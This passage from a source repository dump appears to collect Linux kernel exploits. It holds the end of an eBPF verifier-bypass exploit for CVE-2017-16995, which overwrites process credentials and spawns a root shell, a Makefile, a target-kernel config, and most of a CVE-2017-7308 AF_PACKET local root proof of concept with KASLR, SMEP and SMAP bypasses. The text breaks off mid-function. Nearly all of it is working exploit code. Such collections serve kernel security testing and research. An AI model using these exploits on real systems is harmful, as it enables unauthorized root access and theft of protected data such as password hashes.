exit(0); */ \ 255 | BPF_LDX_MEM(BPF_DW, (dst), BPF_REG_0, 0) /* r_dst = *(u64 *)(r0) */ 256 | 257 | static int load_prog() { 258 | struct bpf_insn prog[] = { 259 | BPF_DISABLE_VERIFIER(), 260 | 261 | BPF_STX_MEM(BPF_DW, BPF_REG_10, BPF_REG_1, -16), /* *(fp - 16) = r1 */ 262 | 263 | BPF_LD_MAP_FD(BPF_REG_9, mapfd), 264 | 265 | BPF_MAP_GET(0, BPF_REG_6), /* r6 = op */ 266 | BPF_MAP_GET(1, BPF_REG_7), /* r7 = address */ 267 | BPF_MAP_GET(2, BPF_REG_8), /* r8 = value */ 268 | 269 | /* store map slot address in r2 */ 270 | BPF_MOV64_REG(BPF_REG_2, BPF_REG_0), /* r2 = r0 */ 271 | BPF_MOV64_IMM(BPF_REG_0, 0), /* r0 = 0 for exit(0) */ 272 | 273 | BPF_JMP_IMM(BPF_JNE, BPF_REG_6, 0, 2), /* if (op == 0) */ 274 | /* get fp */ 275 | BPF_STX_MEM(BPF_DW, BPF_REG_2, BPF_REG_10, 0), 276 | BPF_EXIT_INSN(), 277 | 278 | BPF_JMP_IMM(BPF_JNE, BPF_REG_6, 1, 3), /* else if (op == 1) */ 279 | /* get skbuff */ 280 | BPF_LDX_MEM(BPF_DW, BPF_REG_3, BPF_REG_10, -16), 281 | BPF_STX_MEM(BPF_DW, BPF_REG_2, BPF_REG_3, 0), 282 | BPF_EXIT_INSN(), 283 | 284 | BPF_JMP_IMM(BPF_JNE, BPF_REG_6, 2, 3), /* else if (op == 2) */ 285 | /* read */ 286 | BPF_LDX_MEM(BPF_DW, BPF_REG_3, BPF_REG_7, 0), 287 | BPF_STX_MEM(BPF_DW, BPF_REG_2, BPF_REG_3, 0), 288 | BPF_EXIT_INSN(), 289 | /* else */ 290 | /* write */ 291 | BPF_STX_MEM(BPF_DW, BPF_REG_7, BPF_REG_8, 0), 292 | BPF_EXIT_INSN(), 293 | 294 | }; 295 | return bpf_prog_load(BPF_PROG_TYPE_SOCKET_FILTER, prog, sizeof(prog), "GPL", 0); 296 | } 297 | 298 | void info(const char *fmt, ...) { 299 | va_list args; 300 | va_start(args, fmt); 301 | fprintf(stdout, "[.] "); 302 | vfprintf(stdout, fmt, args); 303 | va_end(args); 304 | } 305 | 306 | void msg(const char *fmt, ...) { 307 | va_list args; 308 | va_start(args, fmt); 309 | fprintf(stdout, "[*] "); 310 | vfprintf(stdout, fmt, args); 311 | va_end(args); 312 | fflush(stdout); 313 | } 314 | 315 | void redact(const char *fmt, ...) { 316 | va_list args; 317 | va_start(args, fmt); 318 | if(doredact) { 319 | fprintf(stdout, "[!] ( ( R E D A C T E D ) )\n"); 320 | va_end(args); 321 | return; 322 | } 323 | fprintf(stdout, "[*] "); 324 | vfprintf(stdout, fmt, args); 325 | va_end(args); 326 | } 327 | 328 | void fail(const char *fmt, ...) { 329 | va_list args; 330 | va_start(args, fmt); 331 | fprintf(stdout, "[!] "); 332 | vfprintf(stdout, fmt, args); 333 | va_end(args); 334 | exit(1); 335 | } 336 | 337 | void 338 | initialize() { 339 | info("\n"); 340 | info("t(-_-t) exploit for counterfeit grsec kernels such as KSPP and linux-hardened t(-_-t)\n"); 341 | info("\n"); 342 | info(" ** This vulnerability cannot be exploited at all on authentic grsecurity kernel **\n"); 343 | info("\n"); 344 | 345 | redact("creating bpf map\n"); 346 | mapfd = bpf_create_map(BPF_MAP_TYPE_ARRAY, sizeof(int), sizeof(long long), 3, 0); 347 | if (mapfd < 0) { 348 | fail("failed to create bpf map: '%s'\n", strerror(errno)); 349 | } 350 | 351 | redact("sneaking evil bpf past the verifier\n"); 352 | progfd = load_prog(); 353 | if (progfd < 0) { 354 | if (errno == EACCES) { 355 | msg("log:\n%s", bpf_log_buf); 356 | } 357 | fail("failed to load prog '%s'\n", strerror(errno)); 358 | } 359 | 360 | redact("creating socketpair()\n"); 361 | if(socketpair(AF_UNIX, SOCK_DGRAM, 0, sockets)) { 362 | fail("failed to create socket pair '%s'\n", strerror(errno)); 363 | } 364 | 365 | redact("attaching bpf backdoor to socket\n"); 366 | if(setsockopt(sockets[1], SOL_SOCKET, SO_ATTACH_BPF, &progfd, sizeof(progfd)) < 0) { 367 | fail("setsockopt '%s'\n", strerror(errno)); 368 | } 369 | } 370 | 371 | static void writemsg() { 372 | ssize_t n = write(sockets[0], buffer, sizeof(buffer)); 373 | if (n < 0) { 374 | perror("write"); 375 | return; 376 | } 377 | if (n != sizeof(buffer)) { 378 | fprintf(stderr, "short write: %zd\n", n); 379 | } 380 | } 381 | 382 | static void 383 | update_elem(int key, unsigned long value) { 384 | if (bpf_update_elem(mapfd, &key, &value, 0)) { 385 | fail("bpf_update_elem failed '%s'\n", strerror(errno)); 386 | } 387 | } 388 | 389 | static unsigned long 390 | get_value(int key) { 391 | unsigned long value; 392 | if (bpf_lookup_elem(mapfd, &key, &value)) { 393 | fail("bpf_lookup_elem failed '%s'\n", strerror(errno)); 394 | } 395 | return value; 396 | } 397 | 398 | static unsigned long 399 | sendcmd(unsigned long op, unsigned long addr, unsigned long value) { 400 | update_elem(0, op); 401 | update_elem(1, addr); 402 | update_elem(2, value); 403 | writemsg(); 404 | return get_value(2); 405 | } 406 | 407 | unsigned long 408 | get_skbuff() { 409 | return sendcmd(1, 0, 0); 410 | } 411 | 412 | unsigned long 413 | get_fp() { 414 | return sendcmd(0, 0, 0); 415 | } 416 | 417 | unsigned long 418 | read64(unsigned long addr) { 419 | return sendcmd(2, addr, 0); 420 | } 421 | 422 | void 423 | write64(unsigned long addr, unsigned long val) { 424 | (void)sendcmd(3, addr, val); 425 | } 426 | 427 | static unsigned long find_cred() { 428 | uid_t uid = getuid(); 429 | unsigned long skbuff = get_skbuff(); 430 | /* 431 | * struct sk_buff { 432 | * [...24 byte offset...] 433 | * struct sock *sk; 434 | * }; 435 | * 436 | */ 437 | 438 | unsigned long sock_addr = read64(skbuff + 24); 439 | msg("skbuff => %llx\n", skbuff); 440 | msg("Leaking sock struct from %llx\n", sock_addr); 441 | if(sock_addr < PHYS_OFFSET){ 442 | fail("Failed to find Sock address from sk_buff.\n"); 443 | } 444 | 445 | /* 446 | * scan forward for expected sk_rcvtimeo value. 447 | * 448 | * struct sock { 449 | * [...] 450 | * const struct cred *sk_peer_cred; 451 | * long sk_rcvtimeo; 452 | * }; 453 | */ 454 | for (int i = 0; i < 100; i++, sock_addr += 8) { 455 | if(read64(sock_addr) == 0x7FFFFFFFFFFFFFFF) { 456 | unsigned long cred_struct = read64(sock_addr - 8); 457 | if(cred_struct < PHYS_OFFSET) { 458 | continue; 459 | } 460 | 461 | unsigned long test_uid = (read64(cred_struct + 8) & 0xFFFFFFFF); 462 | 463 | if(test_uid != uid) { 464 | continue; 465 | } 466 | msg("Sock->sk_rcvtimeo at offset %d\n", i * 8); 467 | msg("Cred structure at %llx\n", cred_struct); 468 | msg("UID from cred structure: %d, matches the current: %d\n", test_uid, uid); 469 | 470 | return cred_struct; 471 | } 472 | } 473 | fail("failed to find sk_rcvtimeo.\n"); 474 | } 475 | 476 | static void 477 | hammer_cred(unsigned long addr) { 478 | msg("hammering cred structure at %llx\n", addr); 479 | #define w64(w) { write64(addr, (w)); addr += 8; } 480 | unsigned long val = read64(addr) & 0xFFFFFFFFUL; 481 | w64(val); 482 | w64(0); w64(0); w64(0); w64(0); 483 | w64(0xFFFFFFFFFFFFFFFF); 484 | w64(0xFFFFFFFFFFFFFFFF); 485 | w64(0xFFFFFFFFFFFFFFFF); 486 | #undef w64 487 | } 488 | 489 | int 490 | main(int argc, char **argv) { 491 | initialize(); 492 | hammer_cred(find_cred()); 493 | msg("credentials patched, launching shell...\n"); 494 | if(execl("/bin/sh", "/bin/sh", NULL)) { 495 | fail("exec %s\n", strerror(errno)); 496 | } 497 | } 498 | -------------------------------------------------------------------------------- /CVE-2017-16995/Makefile: -------------------------------------------------------------------------------- 1 | TARGET := CVE-2017-16995 2 | 3 | all: 4 | gcc CVE-2017-16995.c -o $(TARGET) 5 | 6 | clean: 7 | rm -f $(TARGET) 8 | -------------------------------------------------------------------------------- /CVE-2017-7308/.out-of-tree.toml: -------------------------------------------------------------------------------- 1 | name = "CVE-2017-7308" 2 | type = "exploit" 3 | 4 | [[supported_kernels]] 5 | distro_type = "Ubuntu" 6 | distro_release = "16.04" 7 | release_mask = "4.8.0-(34|36|39|41|42|44|45)-.*" 8 | 9 | [qemu] 10 | cpus = 2 11 | -------------------------------------------------------------------------------- /CVE-2017-7308/CVE-2017-7308.c: -------------------------------------------------------------------------------- 1 | // A proof-of-concept local root exploit for CVE-2017-7308. 2 | // Includes a SMEP & SMAP bypass. 3 | // Tested on Ubuntu / Linux Mint: 4 | // - 4.8.0-34-generic 5 | // - 4.8.0-36-generic 6 | // - 4.8.0-39-generic 7 | // - 4.8.0-41-generic 8 | // - 4.8.0-42-generic 9 | // - 4.8.0-44-generic 10 | // - 4.8.0-45-generic 11 | // https://github.com/xairy/kernel-exploits/tree/master/CVE-2017-7308 12 | // 13 | // Usage: 14 | // user@ubuntu:~$ uname -a 15 | // Linux ubuntu 4.8.0-41-generic #44~16.04.1-Ubuntu SMP Fri Mar 3 ... 16 | // user@ubuntu:~$ gcc pwn.c -o pwn 17 | // user@ubuntu:~$ ./pwn 18 | // [.] starting 19 | // [.] system has 2 processors 20 | // [.] checking kernel version 21 | // [.] kernel version '4.8.0-41-generic' detected 22 | // [~] done, version looks good 23 | // [.] checking SMEP and SMAP 24 | // [~] done, looks good 25 | // [.] setting up namespace sandbox 26 | // [~] done, namespace sandbox set up 27 | // [.] KASLR bypass enabled, getting kernel addr 28 | // [.] done, kernel text: ffffffff87000000 29 | // [.] commit_creds: ffffffff870a5cf0 30 | // [.] prepare_kernel_cred: ffffffff870a60e0 31 | // [.] native_write_cr4: ffffffff87064210 32 | // [.] padding heap 33 | // [.] done, heap is padded 34 | // [.] SMEP & SMAP bypass enabled, turning them off 35 | // [.] done, SMEP & SMAP should be off now 36 | // [.] executing get root payload 0x401516 37 | // [.] done, should be root now 38 | // [.] checking if we got root 39 | // [+] got r00t ^_^ 40 | // root@ubuntu:/home/user# cat /etc/shadow 41 | // root:!:17246:0:99999:7::: 42 | // daemon:*:17212:0:99999:7::: 43 | // bin:*:17212:0:99999:7::: 44 | // ... 45 | // 46 | // Andrey Konovalov 47 | // --- 48 | // Updated by 49 | // - support for systems with SMEP but no SMAP 50 | // - check number of CPU cores 51 | // - additional kernel targets 52 | // - additional KASLR bypasses 53 | // https://github.com/bcoles/kernel-exploits/tree/master/CVE-2017-7308 54 | // --- 55 | // Updated by Andrey Konovalov 56 | // - add FORK_SHELL switch to specify shell launch mode 57 | 58 | #define _GNU_SOURCE 59 | 60 | #include 61 | #include 62 | #include 63 | #include 64 | #include 65 | #include 66 | #include 67 | #include 68 | #include 69 | #include 70 | #include 71 | 72 | #include 73 | #include 74 | #include 75 | #include 76 | #include 77 | #include 78 | #include 79 | #include 80 | #include 81 | 82 | #include 83 | #include 84 | #include 85 | #include 86 | #include 87 | #include 88 | 89 | #define DEBUG 90 | 91 | #ifdef DEBUG 92 | # define dprintf printf 93 | #else 94 | # define dprintf 95 | #endif 96 | 97 | // It's recommended to enable this when running on a target system. 98 | #define FORK_SHELL 0 99 | 100 | #define ENABLE_KASLR_BYPASS 1 101 | #define ENABLE_SMEP_SMAP_BYPASS 1 102 | 103 | char *SHELL = "/bin/bash"; 104 | 105 | // Will be overwritten if ENABLE_KASLR_BYPASS 106 | unsigned long KERNEL_BASE = 0xffffffff81000000ul; 107 | 108 | // Will be overwritten by detect_versions(). 109 | int kernel = -1; 110 | 111 | struct kernel_info { 112 | const char* version; 113 | uint64_t commit_creds; 114 | uint64_t prepare_kernel_cred; 115 | uint64_t native_write_cr4; 116 | }; 117 | 118 | struct kernel_info kernels[] = { 119 | { "4.8.0-34-generic", 0xa5d50, 0xa6140, 0x64210 }, 120 | { "4.8.0-36-generic", 0xa5d50, 0xa6140, 0x64210 }, 121 | { "4.8.0-39-generic", 0xa5cf0, 0xa60e0, 0x64210 }, 122 | { "4.8.0-41-generic", 0xa5cf0, 0xa60e0, 0x64210 }, 123 | { "4.8.0-42-generic", 0xa5cf0, 0xa60e0, 0x64210 }, 124 | { "4.8.0-44-generic", 0xa5cf0, 0xa60e0, 0x64210 }, 125 | { "4.8.0-45-generic", 0xa5cf0, 0xa60e0, 0x64210 }, 126 | }; 127 | 128 | // Used to get root privileges. 129 | #define COMMIT_CREDS (KERNEL_BASE + kernels[kernel].commit_creds) 130 | #define PREPARE_KERNEL_CRED (KERNEL_BASE + kernels[kernel].prepare_kernel_cred) 131 | #define NATIVE_WRITE_CR4 (KERNEL_BASE + kernels[kernel].native_write_cr4) 132 | 133 | // Will be overwritten if ENABLE_SMEP_SMAP_BYPASS 134 | unsigned long CR4_DESIRED_VALUE = 0x406e0ul; 135 | 136 | #define KMALLOC_PAD 512 137 | #define PAGEALLOC_PAD 1024 138 | 139 | // * * * * * * * * * * * * * * Kernel structs * * * * * * * * * * * * * * * * 140 | 141 | typedef uint32_t u32; 142 | 143 | // $ pahole -C hlist_node ./vmlinux 144 | struct hlist_node { 145 | struct hlist_node * next; /* 0 8 */ 146 | struct hlist_node * * pprev; /* 8 8 */ 147 | }; 148 | 149 | // $ pahole -C timer_list ./vmlinux 150 | struct timer_list { 151 | struct hlist_node entry; /* 0 16 */ 152 | long unsigned int expires; /* 16 8 */ 153 | void (*function)(long unsigned int); /* 24 8 */ 154 | long unsigned int data; /* 32 8 */ 155 | u32 flags; /* 40 4 */ 156 | int start_pid; /* 44 4 */ 157 | void * start_site; /* 48 8 */ 158 | char start_comm[16]; /* 56 16 */ 159 | }; 160 | 161 | // packet_sock->rx_ring->prb_bdqc->retire_blk_timer 162 | #define TIMER_OFFSET 896 163 | 164 | // pakcet_sock->xmit 165 | #define XMIT_OFFSET 1304 166 | 167 | // * * * * * * * * * * * * * * * Helpers * * * * * * * * * * * * * * * * * * 168 | 169 | void packet_socket_rx_ring_init(int s, unsigned int block_size, 170 | unsigned int frame_size, unsigned int block_nr, 171 | unsigned int sizeof_priv, unsigned int timeout) { 172 | int v = TPACKET_V3; 173 | int rv = setsockopt(s, SOL_PACKET, PACKET_VERSION, &v, sizeof(v)); 174 | if (rv < 0) { 175 | dprintf("[-] setsockopt(PACKET_VERSION)\n"); 176 | exit(EXIT_FAILURE); 177 | } 178 | 179 | struct tpacket_req3 req; 180 | memset(&req, 0, sizeof(req)); 181 | req.tp_block_size = block_size; 182 | req.tp_frame_size = frame_size; 183 | req.tp_block_nr = block_nr; 184 | req.tp_frame_nr = (block_size * block_nr) / frame_size; 185 | req.tp_retire_blk_tov = timeout; 186 | req.tp_sizeof_priv = sizeof_priv; 187 | req.tp_feature_req_word = 0; 188 | 189 | rv = setsockopt(s, SOL_PACKET, PACKET_RX_RING, &req, sizeof(req)); 190 | if (rv < 0) { 191 | dprintf("[-] setsockopt(PACKET_RX_RING)\n"); 192 | exit(EXIT_FAILURE); 193 | } 194 | } 195 | 196 | int packet_socket_setup(unsigned int block_size, unsigned int frame_size, 197 | unsigned int block_nr, unsigned int sizeof_priv, int timeout) { 198 | int s = socket(AF_PACKET, SOCK_RAW, htons(ETH_P_ALL)); 199 | if (s < 0) { 200 | dprintf("[-] socket(AF_PACKET)\n"); 201 | exit(EXIT_FAILURE); 202 | } 203 | 204 | packet_socket_rx_ring_init(s, block_size, frame_size, block_nr, 205 | sizeof_priv, timeout); 206 | 207 | struct sockaddr_ll sa; 208 | memset(&sa, 0, sizeof(sa)); 209 | sa.sll_family = PF_PACKET; 210 | sa.sll_protocol = htons(ETH_P_ALL); 211 | sa.sll_ifindex = if_nametoindex("lo"); 212 | sa.sll_hatype = 0; 213 | sa.sll_pkttype = 0; 214 | sa.sll_halen = 0; 215 | 216 | int rv = bind(s, (struct sockaddr *)&sa, sizeof(sa)); 217 | if (rv < 0) { 218 | dprintf("[-] bind(AF_PACKET)\n"); 219 | exit(EXIT_FAILURE); 220 | } 221 | 222 | return s; 223 | } 224 | 225 | void packet_socket_send(int s, char *buffer, int size) { 226 | struct sockaddr_ll sa; 227 | memset(&sa, 0, sizeof(sa)); 228 | sa.sll_ifindex = if_nametoindex("lo"); 229 | sa.sll_halen = ETH_ALEN; 230 | 231 | if (sendto(s, buffer, size, 0, (struct sockaddr *)&sa, 232 | sizeof(sa)) < 0) { 233 | dprintf("[-] sendto(SOCK_RAW)\n"); 234 | exit(EXIT_FAILURE); 235 | } 236 | } 237 | 238 | void loopback_send(char *buffer, int size) { 239 | int s = socket(AF_PACKET, SOCK_RAW, IPPROTO_RAW); 240 | if (s == -1) { 241 | dprintf("[-] socket(SOCK_RAW)\n"); 242 | exit(EXIT_FAILURE); 243 | } 244 | 245 | packet_socket_send(s, buffer, size); 246 | } 247 | 248 | int packet_sock_kmalloc() { 249 | int s = socket(AF_PACKET, SOCK_DGRAM, htons(ETH_P_ARP)); 250 | if (s == -1) { 251 | dprintf("[-] socket(SOCK_DGRAM)\n"); 252 | exit(EXIT_FAILURE); 253 | } 254 | return s; 255 | } 256 | 257 | void packet_sock_timer_schedule(int s, int timeout) { 258 | packet_socket_rx_ring_init(s, 0x1000, 0x1000, 1, 0, timeout); 259 | } 260 | 261 | void packet_sock_id_match_trigger(int s) { 262 | char buffer[16]; 263 | packet_socket_send(s, &buffer[0], sizeof(buffer)); 264 | } 265 | 266 | // * * * * * * * * * * * * * * * Trigger * * * * * * * * * * * * * * * * * * 267 | 268 | #define ALIGN(x, a) __ALIGN_KERNEL((x), (a)) 269 | #define __ALIGN_KERNEL(x, a) __ALIGN_KERNEL_MASK(x, (typeof(x))(a) - 1) 270 | #define __ALIGN_KERNEL_MASK(x, mask) (((x) + (mask)) & ~(mask)) 271 | 272 | #define V3_ALIGNMENT (8) 273 | #define BLK_HDR_LEN (ALIGN(sizeof(struct tpacket_block_desc), V3_ALIGNMENT)) 274 | 275 | #define ETH_HDR_LEN sizeof(struct ethhdr) 276 | #define IP_HDR_LEN sizeof(struct iphdr) 277 | #define UDP_HDR_LEN sizeof(struct udphdr) 278 | 279 | #define UDP_HDR_LEN_FULL (ETH_HDR_LEN + IP_HDR_LEN + UDP_HDR_LEN) 280 | 281 | int oob_setup(int offset) { 282 | unsigned int maclen = ETH_HDR_LEN; 283 | unsigned int netoff = TPACKET_ALIGN(TPACKET3_HDRLEN + 284 | (maclen < 16 ? 16 : maclen)); 285 | unsigned int macoff = netoff - maclen; 286 | unsigned int sizeof_priv = (1u<<31) + (1u<<30) + 287 | 0x8000 - BLK_HDR_LEN - macoff + offset; 288 | return packet_socket_setup(0x8000, 2048, 2, sizeof_priv, 100); 289 | } 290 | 291 | void oob_write(char *buffer, int size) { 292 | loopback_send(buffer, size); 293 | } 294 | 295 | void oob_timer_execute(void *func, unsigned long arg) { 296 | oob_setup(2048 + TIMER_OFFSET - 8); 297 | 298 | int i; 299 | for (i = 0; i < 32; i++) { 300 | int timer = packet_sock_kmalloc(); 301 | packet_sock_timer_schedule(timer, 1000); 302 | } 303 | 304 | char buffer[2048]; 305 | memset(&buffer[0], 0, sizeof(buffer)); 306 | 307 | struct timer_list *timer = (struct timer_list *)&buffer[8]; 308 | timer->function = func; 309 | timer->data = arg; 310 | timer->flags = 1; 311 | 312 | oob_write(&buffer[0] + 2, sizeof(*timer) + 8 - 2); 313 | 314 | sleep(1); 315 | } 316 | 317 | void oob_id_match_execute(void *func) { 318 | int s = oob_setup(2048 + XMIT_OFFSET - 64); 319 | 320 | int ps[32]; 321 | 322 | int i; 323 | for (i = 0; i < 32; i++) 324 | ps[i] = packet_sock_kmalloc(); 325 | 326 | char buffer[2048]; 327 | memset(&buffer[0], 0, 2048); 328 | 329 | void **xmit = (void **)&buffer[64]; 330 | *xmit = func; 331 | 332 | oob_write((char *)&buffer[0] + 2, sizeof(*xmit) + 64 - 2); 333 | 334 | for (i = 0; i < 32; i++) 335 | packet_sock_id_match_trigger(ps[i]); 336 | } 337 | 338 | // * * * * * * * * * * * * * * Heap shaping * * * * * * * * * * * * * * * * * 339 | 340 | void kmalloc_pad(int count) { 341 | int i; 342 | for (i = 0; i < count; i++) 343 | packet_sock_kmalloc(); 344 | } 345 | 346 | void pagealloc_pad(int count) { 347 | packet_socket_setup(0x8000, 2048, count, 0, 100); 348 | } 349 | 350 | // * * * * * * * * * * * * * * * Getting root * * * * * * * * * * * * * * * * 351 | 352 | typedef unsigned long __attribute__((regparm(3))) (* _commit_creds)(unsigned long cred); 353 | typedef unsigned long __attribute__((regparm(3))) (* _prepare_kernel_cred)(unsigned long cred); 354 | 355 | void get_root_payload(void) { 356 | ((_commit_creds)(COMMIT_CREDS))( 357 | ((_prepare_kernel_cred)(PREPARE_KERNEL_CRED))(0) 358 | ); 359 | } 360 | 361 | // * * * * * * * * * * * * * * * * * Detect * * * * * * * * * * * * * * * * * 362 | 363 | #define CHUNK_SIZE 1024 364 | 365 | int read_file(const char* file, char* buffer, int max_length) { 366 | int f = open(file, O_RDONLY); 367 | if (f == -1) 368 | return -1; 369 | int bytes_read = 0; 370 | while (true) { 371 | int bytes_to_read = CHUNK_SIZE; 372 | if (bytes_to_read > max_length - bytes_read) 373 | bytes_to_read = max_length - bytes_read; 374 | int rv = read(f, &buffer[bytes_read], bytes_to_read); 375 | if (rv == -1) 376 | return -1; 377 | bytes_read += rv; 378 | if (rv == 0) 379 | return bytes_read; 380 | } 381 | } 382 | 383 | void get_kernel_version(char* output, int max_length) { 384 | struct utsname u; 385 | int rv = uname(&u); 386 | if (rv != 0) { 387 | dprintf("[-] uname())\n"); 388 | exit(EXIT_FAILURE); 389 | } 390 | assert(strlen(u.release) <= max_length); 391 | strcpy(&output[0], u.release); 392 | } 393 | 394 | #define ARRAY_SIZE(x) (sizeof(x) / sizeof((x)[0])) 395 | 396 | #define KERNEL_VERSION_LENGTH 32 397 | 398 | void detect_versions() { 399 | char version[KERNEL_VERSION_LENGTH]; 400 | 401 | get_kernel_version(&version[0], KERNEL_VERSION_LENGTH); 402 | 403 | int i; 404 | for (i = 0; i < ARRAY_SIZE(kernels); i++) { 405 | if (strcmp(&version[0], kernels[i].version) == 0) { 406 | dprintf("[.] kernel version '%s' detected\n", kernels[i].version); 407 | kernel = i; 408 | return; 409 | } 410 | } 411 | 412 | dprintf("[-] kernel version not recognized\n"); 413 | exit(EXIT_FAILURE); 414 | } 415 | 416 | #define PROC_CPUINFO_LENGTH 4096 417 | 418 | // 0 - nothing, 1 - SMEP, 2 - SMAP, 3 - SMEP & SMAP 419 | int smap_smep_enabled() { 420 | char buffer[PROC_CPUINFO_LENGTH]; 421 | char* path = "/proc/cpuinfo"; 422 | int length = read_file(path, &buffer[0], PROC_CPUINFO_LENGTH); 423 | if (length == -1) { 424 | dprintf("[-] open/read(%s)\n", path); 425 | exit(EXIT_FAILURE); 426 | } 427 | 428 | int rv = 0; 429 | char* found = memmem(&buffer[0], length, "smep", 4); 430 | if (found != NULL) 431 | rv += 1; 432 | found = memmem(&buffer[0], length, "smap", 4); 433 | if (found != NULL) 434 | rv += 2; 435 | return rv; 436 | } 437 | 438 | void check_smep_smap() { 439 | int rv = smap_smep_enabled(); 440 | 441 | #if !ENABLE_SMEP_SMAP_BYPASS 442 | if (rv >= 1) { 443 | dprintf("[-] SMAP/SMEP detected, use ENABLE_SMEP_SMAP_BYPASS\n"); 444 | exit(EXIT_FAILURE); 445 | } 446 | #endif 447 | 448 | switch(rv) { 449 | case 1: // SMEP 450 | CR4_DESIRED_VALUE = 0x406e0ul; 451 | break; 452 | case 2: // SMAP 453 | CR4_DESIRED_VALUE = 0x407f0ul; 454 | break; 455 | case 3: // SMEP and SMAP 456 | CR4_DESIRED_VALUE = 0x407f0ul; 457 | break; 458 | } 459 | } 460 | 461 | // * * * * * * * * * * * * * Syslog KASLR bypass * * * * * * * * * * * * * * * 462 | 463 | #define SYSLOG_ACTION_READ_ALL 3 464 | #define SYSLOG_ACTION_SIZE_BUFFER 10 465 | 466 | unsigned long get_kernel_addr_syslog() { 467 | dprintf("[.] trying syslog...\n"); 468 | 469 | int size = klogctl(SYSLOG_ACTION_SIZE_BUFFER, 0, 0); 470 | if (size == -1) { 471 | dprintf("[-] klogctl(SYSLOG_ACTION_SIZE_BUFFER)\n"); 472 | exit(EXIT_FAILURE); 473 | } 474 | 475 | size = (size / getpagesize() + 1) * getpagesize(); 476 | char *buffer = (char *)mmap(NULL, size, PROT_READ|PROT_WRITE, 477 | MAP_PRIVATE|MAP_ANONYMOUS, -1, 0); 478 | 479 | size = klogctl(SYSLOG_ACTION_READ_ALL, &buffer[0], size); 480 | if (size == -1) { 481 | dprintf("[-] klogctl(SYSLOG_ACTION_READ_ALL)\n"); 482 | exit(EXIT_FAILURE); 483 | } 484 | 485 | const char *needle1 = "Freeing SMP"; 486 | char *substr = (char *)memmem(&buffer[0], size, needle1, strlen(needle1)); 487 | if (substr == NULL) { 488 | dprintf("[-] substring '%s' not found in dmesg\n", needle1); 489 | exit(EXIT_FAILURE); 490 | } 491 | 492 | for (size = 0; substr[size] != '\n'; size++); 493 | 494 | const char *needle2 = "ffff"; 495 | substr = (char *)memmem(&substr[0], size, needle2, strlen(needle2)); 496 | if (substr == NULL) { 497 | dprintf("[-] substring '%s' not found in dmesg\n", needle2); 498 | exit(EXIT_FAILURE); 499 | } 500 | 501 | char *endptr = &substr[16]; 502 | unsigned long r = strtoul(&substr[0], &endptr, 16); 503 | 504 | r &= 0xfffffffffff00000ul; 505 | r -= 0x1000000ul; 506 | 507 | return r; 508 | } 509 | 510 | // * * * * * * * * * * * * * * kallsyms KASLR bypass * * * * * * * * * * * * * * 511 | 512 | unsigned long get_kernel_addr_kallsyms() { 513 | FILE *f; 514 | unsigned long addr = 0; 515 | char dummy; 516 | char sname[256]; 517 | char* name = "startup_64"; 518 | char* path = "/proc/kallsyms"; 519 | 520 | dprintf("[.] trying %s...\n", path); 521 | f = fopen(path, "r"); 522 | if (f == NULL) { 523 | dprintf("[-] open/read(%s)\n", path); 524 | return 0; 525 | } 526 | 527 | int ret = 0; 528 | while (ret != EOF) { 529 | ret = fscanf(f, "%p %c %s\n", (void **)&addr, &dummy, sname); 530 | if (ret == 0) { 531 | fscanf(f, "%s\n", sname); 532 | continue; 533 | } 534 | if (!strcmp(name, sname)) { 535 | fclose(f); 536 | return addr; 537 | } 538 | } 539 | 540 | fclose(f); 541 | dprintf("[-] kernel base not found in %s\n", path); 542 | return 0; 543 | } 544 | 545 | // * * * * * * * * * * * * * * System.map KASLR bypass * * * * * * * * * * * * * * 546 | 547 | unsigned long get_kernel_addr_sysmap() { 548 | FILE *f; 549 | unsigned long addr = 0; 550 | char path[512] = "/boot/System.map-"; 551 | char version[32]; 552 | get_kernel_version(&version[0], 32); 553 | strcat(path, &version[0]); 554 | dprintf("[.] trying %s...\n", path); 555 | f = fopen(path, "r"); 556 | if (f == NULL) { 557 | dprintf("[-] open/read(%s)\n", path); 558 | return 0; 559 | } 560 | 561 | char dummy; 562 | char sname[256]; 563 | char* name = "startup_64"; 564 | int ret = 0; 565 | while (ret != EOF) { 566 | ret = fscanf(f, "%p %c %s\n", (void **)&addr, &dummy, sname); 567 | if (ret == 0) { 568 | fscanf(f, "%s\n", sname); 569 | continue; 570 | } 571 | if (!strcmp(name, sname)) { 572 | fclose(f); 573 | return addr; 574 | } 575 | } 576 | 577 | fclose(f); 578 | dprintf("[-] kernel base not found in %s\n", path); 579 | return 0; 580 | } 581 | 582 | // * * * * * * * * * * * * * * KASLR bypasses * * * * * * * * * * * * * * * * 583 | 584 | unsigned long get_kernel_addr() { 585 | unsigned long addr = 0; 586 | 587 | addr = get_kernel_addr_kallsyms(); 588 | if (addr) return addr; 589 | 590 | addr = get_kernel_addr_sysmap(); 591 | if (addr) return addr; 592 | 593 | addr = get_kernel_addr_syslog(); 594 | if (addr) return addr; 595 | 596 | dprintf("[-] KASLR bypass failed\n"); 597 | exit(EXIT_FAILURE); 598 | 599 | return 0; 600 | } 601 | 602 | // * * * * * * * * * * * * * * * * * Main * * * * * * * * * * * * * * * * * * 603 | 604 | void check_procs() { 605 | int min_procs = 2; 606 | 607 | int nprocs = 0; 608 | nprocs = get_nprocs_conf(); 609 | 610 | if (nprocs < min_procs) { 611 | dprintf("[-] system has less than %d processor cores\n", min_procs); 612 | exit(EXIT_FAILURE); 613 | } 614 | 615 | dprintf("[.] system has %d processors\n", nprocs); 616 | } 617 | 618 | void exec_shell() { 619 | int fd; 620 | 621 | fd = open("/proc/1/ns/net", O_RDONLY); 622 | if (fd == -1) { 623 | dprintf("error opening /proc/1/ns/net\n"); 624 | exit(EXIT_FAILURE); 625 | } 626 | 627 | if (setns(fd, CLONE_NEWNET) == -1) { 628 | dprintf("error calling setns\n"); 629 | exit(EXIT_FAILURE); 630 | } 631 | 632 | system(SHELL); 633 | } 634 | 635 | void fork_shell() { 636 | pid_t rv; 637 | 638 | rv = fork(); 639 | if (rv == -1) { 640 | dprintf("[-] fork()\n"); 641 | exit(EXIT_FAILURE); 642 | } 643 | 644 | if (rv == 0) { 645 | exec_shell(); 646 | } 647 | } 648 | 649 | bool is_root() { 650 | // We can't simple check uid, since we're running inside a namespace 651 | // with uid set to 0. Try opening /etc/shadow instead. 652 | int fd = open("/etc/shadow", O_RDONLY); 653 | if (fd == -1) 654 | return false; 655 | close(fd); 656 | return true; 657 | } 658 | 659 | void check_root() { 660 | dprintf("[.] checking if we got root\n"); 661 | 662 | if (!is_root()) { 663 | dprintf("[-] something went wrong =(\n"); 664 | return; 665 | } 666 | 667 | dprintf("[+] got r00t ^_^\n"); 668 | 669 | #if FORK_SHELL 670 | // Fork and exec instead of just doing the exec 